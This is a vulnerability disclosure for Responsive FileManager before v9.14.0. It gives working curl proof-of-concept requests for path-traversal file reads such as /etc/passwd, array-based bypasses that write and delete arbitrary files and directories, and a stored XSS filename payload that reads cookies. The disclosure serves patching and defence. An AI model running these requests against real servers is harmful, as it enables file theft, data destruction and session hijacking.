Responsive FileManager is a free open-source file manager and image manager made with the jQuery library, CSS3, PHP and HTML5 that offers a nice and elegant way to upload and insert files, images and videos.  
You can use it as external plugin for TinyMCE version 4.x (and older), CKEditor CLEditor, or you can also use it as a stand-alone file manager to manage and select files.  
  
The following are the vulnerabilities found before v 9.14.0.  
  
1. Arbitrary file read via path traversal with `path` parameter through `get_file` action in ajax_calls.php.  
  
$ curl -X POST -d "path=../../../../../../../etc/passwd" -H "Cookie: PHPSESSID=12k93hcuj6b7qt2jmnn40rd612" "http://localhost:1111/filemanager/ajax_calls.php?action=get_file&sub_action=edit&preview_mode=text"

2. Arbitrary file read via path traversal with `path` parameter through `copy_cut` action in ajax_calls.php and `paste_clipboard` action in execute.php.  
  
# Copy/cut the file with directory traversal so the desired file path will be saved to the session.  
$ curl -X POST -d "sub_action=copy&path=../../../../../../../etc/passwd" -H "Cookie: PHPSESSID=12k93hcuj6b7qt2jmnn40rd612" "http://localhost:1111/filemanager/ajax_calls.php?action=copy_cut"  
  
# Paste the clipboard  
$ curl -X POST -d "path=" -H "Cookie: PHPSESSID=12k93hcuj6b7qt2jmnn40rd612" "http://localhost:1111/filemanager/execute.php?action=paste_clipboard"  
  
# File is in the `upload_dir` folder or in the dialog page.

3. Arbitrary file write via path traversal mitigation bypass through `create_file` action in execute.php.  
  
# We can bypass the directory traversal mitigation by using an array.  
$ curl -X POST -d "paths[0]=../../../../../../../../tmp/&names[0]=hacked.txt&new_content=Hacked" -H "Cookie: PHPSESSID=12k93hcuj6b7qt2jmnn40rd612" "http://localhost:1111/filemanager/execute.php?action=create_file"  
$ ls /tmp  
hacked.txt  
  
4. Arbitrary file deletion via path traversal mitigation bypass through `delete_file` action in execute.php.  
  
# We can bypass the directory traversal mitigation by using an array.  
$ curl -X POST -d "paths[0]=../../../../../../../../tmp/hacked.txt" -H "Cookie: PHPSESSID=12k93hcuj6b7qt2jmnn40rd612" "http://localhost:1111/filemanager/execute.php?action=delete_file"  
  
5. Arbitrary directory deletion via path traversal mitigation bypass through `delete_folder` action in execute.php.  
  
# We can bypass the directory traversal mitigation by using an array.  
$ curl -X POST -d "paths[0]=../filemanager" -H "Cookie: PHPSESSID=12k93hcuj6b7qt2jmnn40rd612" "http://localhost:1111/filemanager/execute.php?action=delete_folder"  
  
6. Arbitrary file write (only with jpg/jpeg/png extension) with `path` parameter through `save_img` action in ajax_calls.php.  
  
$ curl -X POST -d "path=../../../../../../../tmp/&name=hacked.jpg&url=http://s3.amazonaws.com/feather-files-aviary-prod-us-east-1/2444282ef4344e3dacdedc7a78f8877d/2018-10-23/44f0f34961464feb92b53d953b02d4bb.jpg" -H "Cookie: PHPSESSID=12k93hcuj6b7qt2jmnn40rd612" "http://localhost:1111/filemanager/ajax_calls.php?action=save_img"  
$ ls /tmp  
hacked.jpg  
  
7. Persistent XSS in `media_preview` action.  
  
Upload a file with valid media extension (e.g. mp3) with XSS payload in the name. For example, "a\"%2balert(document.cookie)%2b\"".mp3 will trigger `alert(document.cookie)` when previewed.
